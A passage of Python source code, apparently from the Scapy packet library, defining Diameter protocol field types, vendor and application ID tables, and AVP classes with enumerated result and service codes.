vendorList.get(x, "Unkown_Vendor") return "%s (%s)" % (vendor, str(x)) # Note the dictionary below is minimal (taken from scapy/layers/dhcp6.py # + added 3GPP and ETSI vendorList = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 323: "Tekelec", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 8164: "Starent Networks", 10415: "3GPP", 13019: "ETSI", 16885: "Nortel Networks"} # The Application IDs for the Diameter command field AppIDsEnum = { 0: "Diameter_Common_Messages", 1: "NASREQ_Application", 2: "Mobile_IPv4_Application", 3: "Diameter_Base_Accounting", 4: "Diameter_Credit_Control_Application", 5: "EAP_Application", 6: "Diameter_Session_Initiation_Protocol_(SIP)_Application", 7: "Diameter_Mobile_IPv6_IKE___(MIP6I)", 8: "Diameter_Mobile_IPv6_Auth__(MIP6A)", 111: "ALU_Sy", 555: "Sun_Ping_Application", 16777216: "3GPP_Cx", 16777217: "3GPP_Sh", 16777222: "3GPP_Gq", 16777223: "3GPP_Gmb", 16777224: "3GPP_Gx", 16777227: "Ericsson_MSI", 16777228: "Ericsson_Zx", 16777229: "3GPP_RX", 16777231: "Diameter_e2e4_Application", 16777232: "Ericsson_Charging-CIP", 16777236: "3GPP_Rx", 16777238: "3GPP_Gx", 16777250: "3GPP_STa", 16777251: "3GPP_S6a/S6d", 16777252: "3GPP_S13/S13'", 16777255: "3GPP_SLg", 16777264: "3GPP_SWm", 16777265: "3GPP_SWx", 16777266: "3GPP_Gxx", 16777267: "3GPP_S9", 16777269: "Ericsson_HSI", 16777272: "3GPP_S6b", 16777291: "3GPP_SLh", 16777292: "3GPP_SGmb", 16777302: "3GPP_Sy", 16777304: "Ericsson_Sy", 16777315: "Ericsson_Diameter_Signalling_Controller_Application_(DSC)", 4294967295: "Relay", } ########################################################### # Definition of fields contained in section 4.2 of RFC6733 # for AVPs payloads ########################################################### class OctetString (StrLenField): def i2repr(self, pkt, x): try: return plain_str(x) except BaseException: return bytes_hex(x) class Integer32 (SignedIntField): pass class Integer64 (Field): def __init__(self, name, default): Field.__init__(self, name, default, "q") class Unsigned32 (IntField): pass class Unsigned64 (LongField): pass class Float32 (IEEEFloatField): pass class Float64 (IEEEDoubleField): pass ########################################################### # Definition of additional fields contained in section 4.3 # of RFC6733 for AVPs payloads ########################################################### class Address (StrLenField): def i2repr(self, pkt, x): if x.startswith(b'\x00\x01'): # IPv4 address return inet_ntoa(x[2:]) elif x.startswith(b'\x00\x02'): # IPv6 address return inet_ntop(socket.AF_INET6, x[2:]) else: # Address format not yet decoded print('Warning: Address format not yet decoded.') return bytes_hex(x) def any2i(self, pkt, x): if x and isinstance(x, str): try: # Try IPv4 conversion s = inet_aton(x) return b'\x00\x01' + s except BaseException: try: # Try IPv6 conversion s = inet_pton(socket.AF_INET6, x) return b'\x00\x02' + s except BaseException: print('Warning: Address format not supported yet.') return b'' class Time (IntField): def i2repr(self, pkt, x): return ctime(x) class Enumerated (IntEnumField): def i2repr(self, pkt, x): if x in self.i2s: return self.i2s[x] + " (%d)" % x else: return repr(x) + " (Unknown)" class IPFilterRule (StrLenField): pass class Grouped (StrLenField): """This class is just for declarative purpose because it is used in the AVP definitions dict.""" # noqa: E501 pass #################################################################### # Definition of additional fields contained in other standards #################################################################### class QoSFilterRule (StrLenField): # Defined in 4.1.1 of RFC7155 pass class ISDN (StrLenField): def i2repr(self, pkt, x): out = b'' for char in x: c = orb(char) out += chb(48 + (c & 15)) # convert second digit first v = (c & 240) >> 4 if v != 15: out += chb(48 + v) return out def any2i(self, pkt, x): out = b'' if x: fd = True # waiting for first digit for c in x: digit = orb(c) - 48 if fd: val = digit else: val = val + 16 * digit out += chb(val) fd = not fd if not fd: # Fill with 'f' if odd number of characters out += chb(240 + val) return out ##################################################################### ##################################################################### # # AVPs classes and definitions # ##################################################################### ##################################################################### AVP_Code_length = 4 AVP_Flag_length = 1 DIAMETER_BYTES_ALIGNMENT = 4 AVP_Flags_List = ["x", "x", "x", "x", "x", "P", "M", "V"] def GuessAvpType(p, **kargs): if len(p) > AVP_Code_length + AVP_Flag_length: # Set AVP code and vendor avpCode = struct.unpack("!I", p[:AVP_Code_length])[0] vnd = bool(struct.unpack( "!B", p[AVP_Code_length:AVP_Code_length + AVP_Flag_length])[0] & 128) # noqa: E501 vndCode = struct.unpack("!I", p[8:12])[0] if vnd else 0 # Check if vendor and code defined and fetch the corresponding AVP # definition if vndCode in AvpDefDict: AvpVndDict = AvpDefDict[vndCode] if avpCode in AvpVndDict: # Unpack only the first 4 tuple items at this point avpName, AVPClass, flags = AvpVndDict[avpCode][:3] result = AVPClass(p, **kargs) result.name = 'AVP ' + avpName return result # Packet too short or AVP vendor or AVP code not found ... return AVP_Unknown(p, **kargs) class AVP_Generic (Packet): """ Parent class for the 5 following AVP intermediate classes below""" def extract_padding(self, s): nbBytes = self.avpLen % DIAMETER_BYTES_ALIGNMENT if nbBytes: nbBytes = DIAMETER_BYTES_ALIGNMENT - nbBytes return s[:nbBytes], s[nbBytes:] def post_build(self, p, pay): nbBytes = (-len(p)) % 4 while nbBytes: p += struct.pack("B", 0) nbBytes -= 1 return p + pay def show2(self): self.__class__(raw(self), name=self.name).show() def AVP(avpId, **fields): """ Craft an AVP based on its id and optional parameter fields""" val = None classType = AVP_Unknown if isinstance(avpId, str): try: for vnd in AvpDefDict: for code in AvpDefDict[vnd]: val = AvpDefDict[vnd][code] if val[0][:len( avpId)] == avpId: # A prefix of the full name is considered valid # noqa: E501 raise found = False except BaseException: found = True else: if isinstance(avpId, list): code = avpId[0] vnd = avpId[1] else: # Assume this is an int code = avpId vnd = 0 try: val = AvpDefDict[vnd][code] found = True except BaseException: found = False if not found: warning('The AVP identifier %s has not been found.' % str(avpId)) if isinstance(avpId, str): # The string input is not valid return None # At this point code, vnd are provisionned val may be set (if found is True) # noqa: E501 # Set/override AVP code fields['avpCode'] = code # Set vendor if not already defined and relevant if 'avpVnd' not in fields and vnd: fields['avpVnd'] = vnd # Set flags if not already defined and possible ... if 'avpFlags' not in fields: if val: fields['avpFlags'] = val[2] else: fields['avpFlags'] = 128 if vnd else 0 # Finally, set the name and class if possible if val: classType = val[1] _ret = classType(**fields) if val: _ret.name = 'AVP ' + val[0] return _ret # AVP intermediate classes: ############################ class AVP_FL_NV (AVP_Generic): """ Defines the AVP of Fixed Length with No Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), X3BytesField("avpLen", None) ] class AVP_FL_V (AVP_Generic): """ Defines the AVP of Fixed Length with Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), X3BytesField("avpLen", None), AVPVendor("avpVnd", 0) ] class AVP_VL_NV (AVP_Generic): """ Defines the AVP of Variable Length with No Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 8) ] class AVP_VL_V (AVP_Generic): """ Defines the AVP of Variable Length with Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 12), AVPVendor("avpVnd", 0) ] class AVP_Unknown (AVP_Generic): """ The default structure for AVPs which could not be decoded (optional vendor field, variable length). """ # noqa: E501 name = 'AVP Unknown' fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 8 + ((pkt.avpFlags & 0x80) >> 5)), # noqa: E501 ConditionalField(AVPVendor("avpVnd", 0), lambda pkt:pkt.avpFlags & 0x80), # noqa: E501 StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8 - ((pkt.avpFlags & 0x80) >> 5)) # noqa: E501 ] # AVP 'low level' classes: ############################ class AVPV_StrLenField (AVP_VL_V): fields_desc = [ AVP_VL_V, StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_StrLenField (AVP_VL_NV): fields_desc = [ AVP_VL_NV, StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_OctetString (AVP_VL_V): fields_desc = [ AVP_VL_V, OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_OctetString (AVP_VL_NV): fields_desc = [ AVP_VL_NV, OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_Grouped (AVP_VL_V): fields_desc = [ AVP_VL_V, PacketListField('val', [], GuessAvpType, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_Grouped (AVP_VL_NV): fields_desc = [ AVP_VL_NV, PacketListField('val', [], GuessAvpType, length_from=lambda pkt:pkt.avpLen - 8)] class AVPV_Unsigned32 (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Unsigned32('val', None)] class AVPNV_Unsigned32 (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Unsigned32('val', None)] class AVPV_Integer32 (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Integer32('val', None)] class AVPNV_Integer32 (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Integer32('val', None)] class AVPV_Unsigned64 (AVP_FL_V): avpLen = 20 fields_desc = [AVP_FL_V, Unsigned64('val', None)] class AVPNV_Unsigned64 (AVP_FL_NV): avpLen = 16 fields_desc = [AVP_FL_NV, Unsigned64('val', None)] class AVPV_Integer64 (AVP_FL_V): avpLen = 20 fields_desc = [AVP_FL_V, Integer64('val', None)] class AVPNV_Integer64 (AVP_FL_NV): avpLen = 16 fields_desc = [AVP_FL_NV, Integer64('val', None)] class AVPV_Time (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Time("val", None)] class AVPNV_Time (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Time("val", None)] class AVPV_Address (AVP_VL_V): fields_desc = [ AVP_VL_V, Address("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_Address (AVP_VL_NV): fields_desc = [ AVP_VL_NV, Address("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_IPFilterRule (AVP_VL_V): fields_desc = [ AVP_VL_V, IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_IPFilterRule (AVP_VL_NV): fields_desc = [ AVP_VL_NV, IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_QoSFilterRule (AVP_VL_V): fields_desc = [ AVP_VL_V, QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_QoSFilterRule (AVP_VL_NV): fields_desc = [ AVP_VL_NV, QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] ############################################### # Actual AVPs based on previous parent classes ############################################### # AVP special classes (which required interpretation/adaptation from standard) ############################################################################## class AVP_0_258 (AVP_FL_NV): name = 'AVP Auth-Application-Id' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, AppIDsEnum)] class AVP_0_266 (AVP_FL_NV): name = 'AVP Vendor-Id' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, vendorList)] class AVP_0_268 (AVP_FL_NV): name = 'AVP Result-Code' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {1001: "DIAMETER_MULTI_ROUND_AUTH", 2001: "DIAMETER_SUCCESS", 2002: "DIAMETER_LIMITED_SUCCESS", 2003: "DIAMETER_FIRST_REGISTRATION", 2004: "DIAMETER_SUBSEQUENT_REGISTRATION", 2005: "DIAMETER_UNREGISTERED_SERVICE", 2006: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", 2007: "DIAMETER_SERVER_SELECTION", 2008: "DIAMETER_SUCCESS_AUTH_SENT_SERVER_NOT_STORED", # noqa: E501 2009: "DIAMETER_SUCCESS_RELOCATE_HA", 3001: "DIAMETER_COMMAND_UNSUPPORTED", 3002: "DIAMETER_UNABLE_TO_DELIVER", 3003: "DIAMETER_REALM_NOT_SERVED", 3004: "DIAMETER_TOO_BUSY", 3005: "DIAMETER_LOOP_DETECTED", 3006: "DIAMETER_REDIRECT_INDICATION", 3007: "DIAMETER_APPLICATION_UNSUPPORTED", 3008: "DIAMETER_INVALID_HDR_BITS", 3009: "DIAMETER_INVALID_AVP_BITS", 3010: "DIAMETER_UNKNOWN_PEER", 4001: "DIAMETER_AUTHENTICATION_REJECTED", 4002: "DIAMETER_OUT_OF_SPACE", 4003: "DIAMETER_ELECTION_LOST", 4005: "DIAMETER_ERROR_MIP_REPLY_FAILURE", 4006: "DIAMETER_ERROR_HA_NOT_AVAILABLE", 4007: "DIAMETER_ERROR_BAD_KEY", 4008: "DIAMETER_ERROR_MIP_FILTER_NOT_SUPPORTED", 4010: "DIAMETER_END_USER_SERVICE_DENIED", 4011: "DIAMETER_CREDIT_CONTROL_NOT_APPLICABLE", 4012: "DIAMETER_CREDIT_LIMIT_REACHED", 4013: "DIAMETER_USER_NAME_REQUIRED", 4241: "DIAMETER_END_USER_SERVICE_DENIED", 5001: "DIAMETER_AVP_UNSUPPORTED", 5002: "DIAMETER_UNKNOWN_SESSION_ID", 5003: "DIAMETER_AUTHORIZATION_REJECTED", 5004: "DIAMETER_INVALID_AVP_VALUE", 5005: "DIAMETER_MISSING_AVP", 5006: "DIAMETER_RESOURCES_EXCEEDED", 5007: "DIAMETER_CONTRADICTING_AVPS", 5008: "DIAMETER_AVP_NOT_ALLOWED", 5009: "DIAMETER_AVP_OCCURS_TOO_MANY_TIMES", 5010: "DIAMETER_NO_COMMON_APPLICATION", 5011: "DIAMETER_UNSUPPORTED_VERSION", 5012: "DIAMETER_UNABLE_TO_COMPLY", 5013: "DIAMETER_INVALID_BIT_IN_HEADER", 5014: "DIAMETER_INVALID_AVP_LENGTH", 5015: "DIAMETER_INVALID_MESSAGE_LENGTH", 5016: "DIAMETER_INVALID_AVP_BIT_COMBO", 5017: "DIAMETER_NO_COMMON_SECURITY", 5018: "DIAMETER_RADIUS_AVP_UNTRANSLATABLE", 5024: "DIAMETER_ERROR_NO_FOREIGN_HA_SERVICE", 5025: "DIAMETER_ERROR_END_TO_END_MIP_KEY_ENCRYPTION", # noqa: E501 5030: "DIAMETER_USER_UNKNOWN", 5031: "DIAMETER_RATING_FAILED", 5032: "DIAMETER_ERROR_USER_UNKNOWN", 5033: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", 5034: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", 5035: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", 5036: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", # noqa: E501 5037: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", # noqa: E501 5038: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", 5039: "DIAMETER_ERROR_TOO_MUCH_DATA", 5040: "DIAMETER_ERROR_NOT SUPPORTED_USER_DATA", 5041: "DIAMETER_ERROR_MIP6_AUTH_MODE", 5241: "DIAMETER_END_USER_NOT_FOUND", })] class AVP_0_298 (AVP_FL_NV): name = 'AVP Experimental-Result-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 2001: "DIAMETER_FIRST_REGISTRATION", 2002: "DIAMETER_SUBSEQUENT_REGISTRATION", 2003: "DIAMETER_UNREGISTERED_SERVICE", 2004: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", 2021: "DIAMETER_PDP_CONTEXT_DELETION_INDICATION", 4100: "DIAMETER_USER_DATA_NOT_AVAILABLE", 4101: "DIAMETER_PRIOR_UPDATE_IN_PROGRESS", 4121: "DIAMETER_ERROR_OUT_OF_RESOURCES", 4141: "DIAMETER_PCC_BEARER_EVENT", 4181: "DIAMETER_AUTHENTICATION_DATA_UNAVAILABLE", 4201: "DIAMETER_ERROR_ABSENT_USER", 4221: "DIAMETER_ERROR_UNREACHABLE_USER", 4222: "DIAMETER_ERROR_SUSPENDED_USER", 4223: "DIAMETER_ERROR_DETACHED_USER", 4224: "DIAMETER_ERROR_POSITIONING_DENIED", 4225: "DIAMETER_ERROR_POSITIONING_FAILED", 4226: "DIAMETER_ERROR_UNKNOWN_UNREACHABLE LCS_CLIENT", 5001: "DIAMETER_ERROR_USER_UNKNOWN", 5002: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", 5003: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", 5004: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", 5005: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", 5006: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", 5007: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", 5008: "DIAMETER_ERROR_TOO_MUCH_DATA", 5009: "DIAMETER_ERROR_NOT_SUPPORTED_USER_DATA", 5010: "DIAMETER_MISSING_USER_ID", 5011: "DIAMETER_ERROR_FEATURE_UNSUPPORTED", 5041: "DIAMETER_ERROR_USER_NO_WLAN_SUBSCRIPTION", 5042: "DIAMETER_ERROR_W-APN_UNUSED_BY_USER", 5043: "DIAMETER_ERROR_W-DIAMETER_ERROR_NO_ACCESS_INDEPENDENT_SUBSCRIPTION", # noqa: E501 5044: "DIAMETER_ERROR_USER_NO_W-APN_SUBSCRIPTION", 5045: "DIAMETER_ERROR_UNSUITABLE_NETWORK", 5061: "INVALID_SERVICE_INFORMATION", 5062: "FILTER_RESTRICTIONS", 5063: "REQUESTED_SERVICE_NOT_AUTHORIZED", 5064: "DUPLICATED_AF_SESSION", 5065: "IP-CAN_SESSION_NOT_AVAILABLE", 5066: "UNAUTHORIZED_NON_EMERGENCY_SESSION", 5100: "DIAMETER_ERROR_USER_DATA_NOT_RECOGNIZED", 5101: "DIAMETER_ERROR_OPERATION_NOT_ALLOWED", 5102: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_READ", 5103: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_MODIFIED", 5104: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_NOTIFIED", 5105: "DIAMETER_ERROR_TRANSPARENT_DATA_OUT_OF_SYNC", 5106: "DIAMETER_ERROR_SUBS_DATA_ABSENT", 5107: "DIAMETER_ERROR_NO_SUBSCRIPTION_TO_DATA", 5108: "DIAMETER_ERROR_DSAI_NOT_AVAILABLE", 5120: "DIAMETER_ERROR_START_INDICATION", 5121: "DIAMETER_ERROR_STOP_INDICATION", 5122: "DIAMETER_ERROR_UNKNOWN_MBMS_BEARER_SERVICE", 5123: "DIAMETER_ERROR_SERVICE_AREA", 5140: "DIAMETER_ERROR_INITIAL_PARAMETERS", 5141: "DIAMETER_ERROR_TRIGGER_EVENT", 5142: "DIAMETER_BEARER_EVENT", 5143: "DIAMETER_ERROR_BEARER_NOT_AUTHORIZED", 5144: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", 5145: "DIAMETER_QOS_RULE_EVENT", 5146: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", 5147: "DIAMETER_ERROR_CONFLICTING_REQUEST", 5401: "DIAMETER_ERROR_IMPI_UNKNOWN", 5402: "DIAMETER_ERROR_NOT_AUTHORIZED", 5403: "DIAMETER_ERROR_TRANSACTION_IDENTIFIER_INVALID", 5420: "DIAMETER_ERROR_UNKNOWN_EPS_SUBSCRIPTION", 5421: "DIAMETER_ERROR_RAT_NOT_ALLOWED", 5422: "DIAMETER_ERROR_EQUIPMENT_UNKNOWN", 5423: "DIAMETER_ERROR_UNKNOWN_SERVING_NODE", 5450: "DIAMETER_ERROR_USER_NO_NON_3GPP_SUBSCRIPTION", 5451: "DIAMETER_ERROR_USER_NO_APN_SUBSCRIPTION", 5452: "DIAMETER_ERROR_RAT_TYPE_NOT_ALLOWED", 5470: "DIAMETER_ERROR_SUBSESSION", 5490: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_NETWORK", 5510: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_ENTITY", 5511: "DIAMETER_ERROR_UNAUTHORIZED_SERVICE", 5530: "DIAMETER_ERROR_INVALID_SME_ADDRESS", 5531: "DIAMETER_ERROR_SC_CONGESTION", 5532: "DIAMETER_ERROR_SM_PROTOCOL", })] class AVP_10415_630 (AVP_FL_V): name = 'AVP Feature-List' avpLen = 16 fields_desc = [AVP_FL_V, FlagsField('val', None, 32, ['SiFC', 'AliasInd', 'IMSRestorationInd', 'b3', 'b4', 'b5', 'b6', 'b7', 'b8', 'b9', 'b10', 'b11', 'b12', 'b13', 'b14', 'b15', 'b16', 'b17', 'b18', 'b19', 'b20', 'b21', 'b22', 'b23', 'b24', 'b25', 'b26', 'b27', 'b28', 'b29', 'b30', 'b31'])] class AVP_10415_701 (AVP_VL_V): name = 'AVP MSISDN' fields_desc = [AVP_VL_V, ISDN('val', None, length_from=lambda pkt:pkt.avpLen - 12)] class AVP_10415_1643 (AVP_VL_V): name = 'AVP A_MSISDN' fields_desc = [AVP_VL_V, ISDN('val', None, length_from=lambda pkt:pkt.avpLen - 12)] # AVP enumerated classes (which could not be defined in AvpDefDict dict below) ############################################################################## class AVP_0_6 (AVP_FL_NV): name = 'Service-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Unknown", 1: "Login", 2: "Framed", 3: "Callback-Login", 4: "Callback-Framed", 5: "Outbound", 6: "Administrative", 7: "NAS-Prompt", 8: "Authenticate-Only", 9: "Callback-NAS-Prompt", 10: "Call Check", 11: "Callback Administrative", 12: "Voice", 13: "Fax", 14: "Modem Relay", 15: "IAPP-Register", 16: "IAPP-AP-Check", 17: "Authorize Only", 18: "Framed-Management", })] class AVP_0_7 (AVP_FL_NV): name = 'Framed-Protocol' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PPP", 2: "SLIP", 3: "ARAP", 4: "Gandalf", 5: "Xylogics", 6: "X.75", 7: "GPRS PDP Context", 255: "Ascend-ARA", 256: "MPP", 257: "EURAW", 258: "EUUI", 259: "X25", 260: "COMB", 261: "FR", })] class AVP_0_10 (AVP_FL_NV): name = 'Framed-Routing' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "None", 1: "Send routing packets", 2: "Listen for routing packets", 3: "Send and Listen ", })] class AVP_0_13 (AVP_FL_NV): name = 'Framed-Compression' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "None", 2: "IPX header compression", 3: "Stac-LZS compression", }) # noqa: E501 ] class AVP_0_15 (AVP_FL_NV): name = 'Login-Service' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Telnet", 1: "Rlogin", 2: "TCP-Clear", 3: "PortMaster", 4: "LAT", 5: "X25-PAD", 6: "X25-T3POS", 7: "Unassigned", })] class AVP_0_45 (AVP_FL_NV): name = 'Acct-Authentic' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "None", 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter", })] # noqa: E501 class AVP_0_61 (AVP_FL_NV): name = 'NAS-Port-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Async", 1: "Sync", 2: "ISDN-Sync", 3: "ISDN-Async-v120", 4: "ISDN-Async-v110", 5: "Virtual", 6: "PIAFS", 7: "HDLC-Clear-Channel", 8: "X25", 9: "X75", 10: "G.3 Fax", 11: "SDSL - Symmetric DSL", 14: "IDSL - ISDN Digital Subscriber Line", 15: "Ethernet", 16: "xDSL - Digital Subscriber Line of unknown type", 17: "Cable", 18: "Wireless - Other", 19: "Wireless - IEEE 802.11", 20: "Token-Ring", 21: "FDDI", 22: "Wireless - CDMA2000", 23: "Wireless - UMTS", 24: "Wireless - 1X-EV", 25: "IAPP", 26: "FTTP - Fiber to the Premises", 27: "Wireless - IEEE 802.16", 28: "Wireless - IEEE 802.20", 29: "Wireless - IEEE 802.22", 30: "PPPoA - PPP over ATM", 31: "PPPoEoA - PPP over Ethernet over ATM", 32: "PPPoEoE - PPP over Ethernet over Ethernet", 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", # noqa: E501 35: "xPON - Passive Optical Network", 36: "Wireless - XGP", })] class AVP_0_64 (AVP_FL_NV): name = 'Tunnel-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PPTP", 2: "L2F", 3: "L2TP", 4: "ATMP", 5: "VTP", 6: "AH", 7: "IP-IP-Encap", 8: "MIN-IP-IP", 9: "ESP", 10: "GRE", 11: "DVS", 12: "IP-in-IP Tunneling", 13: "VLAN", })] class AVP_0_65 (AVP_FL_NV): name = 'Tunnel-Medium-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "IPv4", 2: "IPv6", 3: "NSAP", 4: "HDLC", 5: "BBN", 6: "IEEE-802", 7: "E-163", 8: "E-164", 9: "F-69", 10: "X-121", 11: "IPX", 12: "Appletalk-802", 13: "Decnet4", 14: "Vines", 15: "E-164-NSAP", })] class AVP_0_72 (AVP_FL_NV): name = 'ARAP-Zone-Access' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "Only allow access to default zone", 2: "Use zone filter inclusively", 3: "Use zone filter exclusively", })] class AVP_0_76 (AVP_FL_NV): name = 'Prompt' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "No Echo", 1: "Echo", }) ] class AVP_0_261 (AVP_FL_NV): name = 'Redirect-Host-Usage' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Don't Care", 1: "All Session", 2: "All Realm", 3: "Realm and Application", 4: "All Application", 5: "All Host", 6: "ALL_USER", })] class AVP_0_271 (AVP_FL_NV): name = 'Session-Server-Failover' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "REFUSE_SERVICE", 1: "TRY_AGAIN", 2: "ALLOW_SERVICE", 3: "TRY_AGAIN_ALLOW_SERVICE", })] # noqa: E501 class AVP_0_273 (AVP_FL_NV): name = 'Disconnect-Cause' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "REBOOTING", 1: "BUSY", 2: "DO_NOT_WANT_TO_TALK_TO_YOU", })] # noqa: E501 class AVP_0_274 (AVP_FL_NV): name = 'Auth-Request-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "AUTHENTICATE_ONLY", 2: "AUTHORIZE_ONLY", 3: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 class AVP_0_277 (AVP_FL_NV): name = 'Auth-Session-State' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "STATE_MAINTAINED", 1: "NO_STATE_MAINTAINED", })] # noqa: E501 class AVP_0_285 (AVP_FL_NV): name = 'Re-Auth-Request-Type' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "AUTHORIZE_ONLY", 1: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 class AVP_0_295 (AVP_FL_NV): name = 'Termination-Cause' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 1: "DIAMETER_LOGOUT", 2: "DIAMETER_SERVICE_NOT_PROVIDED", 3: "DIAMETER_BAD_ANSWER", 4: "DIAMETER_ADMINISTRATIVE", 5: "DIAMETER_LINK_BROKEN", 6: "DIAMETER_AUTH_EXPIRED", 7: "DIAMETER_USER_MOVED", 8: "DIAMETER_SESSION_TIMEOUT", })] class AVP_0_345 (AVP_FL_NV): name = 'MIP-Algorithm-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {2: "HMAC-SHA-1", })] class AVP_0_346 (AVP_FL_NV): name = 'MIP-Replay-Mode' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {1: "None", 2: "Timestamps", 3: "Nonces", })] # noqa: E501 class AVP_0_375 (AVP_FL_NV): name = 'SIP-Server-Assignment-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "NO_ASSIGNMENT", 1: "REGISTRATION", 2: "RE_REGISTRATION", 3: "UNREGISTERED_USER", 4: "TIMEOUT_DEREGISTRATION", 5: "USER_DEREGISTRATION", 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", 8: "ADMINISTRATIVE_DEREGISTRATION", 9: "AUTHENTICATION_FAILURE", 10: "AUTHENTICATION_TIMEOUT", 11: "DEREGISTRATION_TOO_MUCH_DATA", })] class AVP_0_377 (AVP_FL_NV): name = 'SIP-Authentication-Scheme' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "DIGEST", })] class AVP_0_384 (AVP_FL_NV): name = 'SIP-Reason-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "PERMANENT_TERMINATION", 1: "NEW_SIP_SERVER_ASSIGNED", 2: "SIP_SERVER_CHANGE", 3: "REMOVE_SIP_SERVER", })] class AVP_0_387 (AVP_FL_NV): name = 'SIP-User-Authorization-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "REGISTRATION", 1: "DEREGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 class AVP_0_392 (AVP_FL_NV): name = 'SIP-User-Data-Already-Available' avpLen = 12 